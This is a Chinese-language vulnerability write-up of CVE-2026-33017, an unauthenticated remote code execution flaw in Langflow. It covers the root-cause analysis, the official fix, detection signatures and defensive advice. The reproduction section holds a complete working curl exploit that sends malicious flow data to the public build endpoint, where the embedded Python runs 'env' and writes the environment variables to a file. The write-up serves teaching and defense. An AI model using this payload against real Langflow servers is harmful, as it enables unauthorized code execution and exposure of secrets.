CVE-2026-33017 Langflow 未授权RCE漏洞教学文档
1. 漏洞概述
漏洞编号: CVE-2026-33017
漏洞类型: 未授权远程代码执行 (Unauthenticated RCE)
风险等级: 高危 (CVSS评分: 9.3)
影响版本: Langflow <= 1.8.1
漏洞状态: 官方已修复
核心描述: Langflow的可视化框架中,公开构建端点(/api/v1/build_public_tmp/{flow_id}/flow)未对未认证用户提交的流程图数据进行验证。攻击者可以构造恶意流程图,在服务端构图时通过exec()函数执行任意Python代码,实现远程代码执行。
2. 前置条件
要成功利用此漏洞,需要满足以下条件:
- 目标Langflow实例至少存在一个公开流程(公开演示、聊天机器人、共享工作流等常见场景)
- 获取到公开流程的UUID(通常可通过共享链接或URL发现)
- 无需任何认证,仅需一个任意值的
client_idcookie
3. 漏洞原理深度分析
3.1 漏洞入口点
漏洞位于公开构建接口build_public_tmp(),文件路径:src/backend/base/langflow/api/v1/chat.py
关键问题:
- 该接口没有使用
Depends(get_current_active_user)进行用户认证 - 同文件中的认证版接口
/build/{flow_id}/flow明确使用了current_user: CurrentActiveUser - 公开版接口允许未认证用户提交
data参数,并将owner_user作为current_user传递给后续处理流程
3.2 信任链断裂
在src/backend/base/langflow/api/utils/core.py的verify_public_flow_and_get_user()函数中:
- 仅验证
flow_id对应的流程是否为公开流程 - 完全没有验证请求体中的
data数据是否可信 - 攻击者可以完全控制提交的流程图数据
3.3 数据处理流程
攻击者的恶意数据通过以下路径传播:
-
前端数据提交 (
src/frontend/src/utils/buildUtils.ts)- 公开页面调用
build_public_tmp接口 - 将
nodes和edges打包为data发送给后端 - 正常功能是"已认证编辑器提交当前图",但公开页面复用了相同的数据通道
- 公开页面调用
-
后端数据处理 (
src/backend/base/langflow/api/build.py)- 如果请求包含
data,服务端直接使用data.model_dump()构图 - 如果不包含
data,才会从数据库加载流程 build_public_tmp()恰好允许未授权请求携带data
- 如果请求包含
-
构图执行链 (
src/backend/base/langflow/api/utils/core.py->build_graph_from_data())- 调用
Graph.from_payload() - 进入
Graph.initialize() - 执行
_build_graph() - 调用
_instantiate_components_in_vertices()
- 调用
3.4 代码执行点
关键文件: src/lfx/src/lfx/graph/vertex/param_handler.py
代码字段处理逻辑:
def _handle_code_field(self, field_name: str, val: Any, params: dict[str, Any]) -> dict[str, Any]:
try:
if field_name == "code":
params[field_name] = val # 直接将源码字符串原样放入参数字典
else:
params[field_name] = ast.literal_eval(val) if val else None
except Exception:
params[field_name] = val
return params
问题:
- 专门识别名为
code的字段 - 将源码字符串原样放入参数字典,没有任何安全净化
- 只有其他代码型字段才尝试
ast.literal_eval()解析
3.5 动态代码执行
执行链:
-
eval_custom_component_code(code)->validate.create_class(code, class_name) -
prepare_global_scope(module)函数包含关键执行点:def prepare_global_scope(module): exec_globals = globals().copy() # ... 解析AST节点 ... if definitions: combined_module = ast.Module(body=definitions, type_ignores=[]) compiled_code = compile(combined_module, "<string>", "exec") exec(compiled_code, exec_globals) # 第一次exec执行 -
build_class_constructor()函数包含第二次执行:def build_class_constructor(compiled_class, exec_globals, class_name): exec_locals = dict(locals()) exec(compiled_class, exec_globals, exec_locals) # 第二次exec执行 exec_globals[class_name] = exec_locals[class_name]
执行时机关键点:
- 恶意代码在图初始化/组件实例化阶段就会触发
- 不需要等到业务节点真正执行
- 即使流程图后续没有运行,恶意代码也已经执行
- 如果恶意代码写在会被重复求值的位置,可能执行多次
4. 漏洞复现步骤
4.1 环境搭建
# 创建虚拟环境
uv venv
source .venv/bin/activate
# 安装漏洞版本
uv pip install langflow==1.8.1
# 启动Langflow
langflow run
4.2 获取公开流程ID
# 获取超级用户令牌(AUTO_LOGIN=true时无需凭证)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
# 创建公开流程
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
| jq -r '.id')
echo "Public Flow ID: $FLOW_ID"
4.3 构造并发送恶意Payload
# 向未认证端点发送恶意流程图数据
# 注意:无需Authorization头、API密钥或任何凭证
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os, socket, json as _json\n_proof = os.popen(\"env\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'
Payload构造要点:
- 必须包含
code字段,类型为code code.value中包含恶意Python代码- 恶意代码需要包含一个继承自
Component的类定义 - 顶层赋值语句(如
_proof = os.popen("env").read().strip())会在AST解析时被放入definitions并执行 - 类定义(
class ExploitComp(Component):)也会在类实例化时执行
4.4 验证执行结果
# 检查命令是否执行成功
cat /tmp/rce-proof
成功执行后会显示环境变量和主机名信息。
5. 漏洞修复方案
5.1 官方修复措施
-
切断信任链 (
src/backend/base/langflow/api/v1/chat.py)- 公开端点
build_public_tmp()不再信任请求体中的data - 对公开流程,
data参数始终被忽略("always ignored") - 修复后的公开流程构建只从数据库加载已保存的流程定义
- 公开端点
-
增加安全审计
- 添加安全审计日志
- 当请求试图向公开流程传递
data时,记录安全告警 - 日志包含
flow_id、client_id和IP地址,用于事件响应
-
API签名调整
build_public_tmp()更新为接受log_builds: bool | None参数
-
新增安全测试 (
src/backend/tests/unit/test_chat_endpoint.py)test_build_public_tmp_rejects_custom_datatest_build_public_tmp_data_parameter_is_ignored- 验证系统在收到恶意
data时会记录告警且不会按攻击者数据执行
5.2 修复原理
- 公开端点与认证端点采用不同的数据处理路径
- 公开端点完全剥离自定义数据提交能力
- 强制从可信源(数据库)加载流程定义
- 监控异常行为,增强可观测性
6. 漏洞利用限制与注意事项
6.1 利用限制
- 需要目标实例存在至少一个公开流程
- 需要获取公开流程的UUID
- 恶意代码中必须包含继承自
Component的类定义 - 执行上下文受Python沙箱限制(但可通过导入模块绕过)
6.2 攻击检测特征
- 向
/api/v1/build_public_tmp/{flow_id}/flow端点的POST请求 - 请求包含自定义的
data节点数据 data中的code字段包含可疑Python代码- 缺少正常的认证凭证,仅包含
client_idcookie
6.3 防御建议
- 立即升级到Langflow 1.8.1以上版本
- 如无法立即升级,实施网络层防护:
- 对公开端点实施请求内容检查
- 监控异常的
exec()调用 - 限制Python模块导入
- 最小权限原则:
- 避免不必要的公开流程
- 定期审计和清理公开流程
- 使用网络隔离限制Langflow实例的出口流量
7. 技术要点总结
- 信任边界混淆: 公开接口错误地信任了用户提交的数据
- 数据与代码混淆: 将用户控制的字符串直接作为代码执行
- 执行时机错误: 在构图阶段而非运行时执行用户代码
- 防御深度不足: 缺乏输入验证、输出编码、最小权限等多层防护
- 逻辑漏洞: 功能复用导致安全边界被突破
8. 扩展思考
- 类似框架中是否可能存在相同模式漏洞?
- 如何设计安全的低代码/无代码平台架构?
- 在动态代码执行场景下,如何平衡灵活性与安全性?
- 公开端点与认证端点的安全模型差异化管理重要性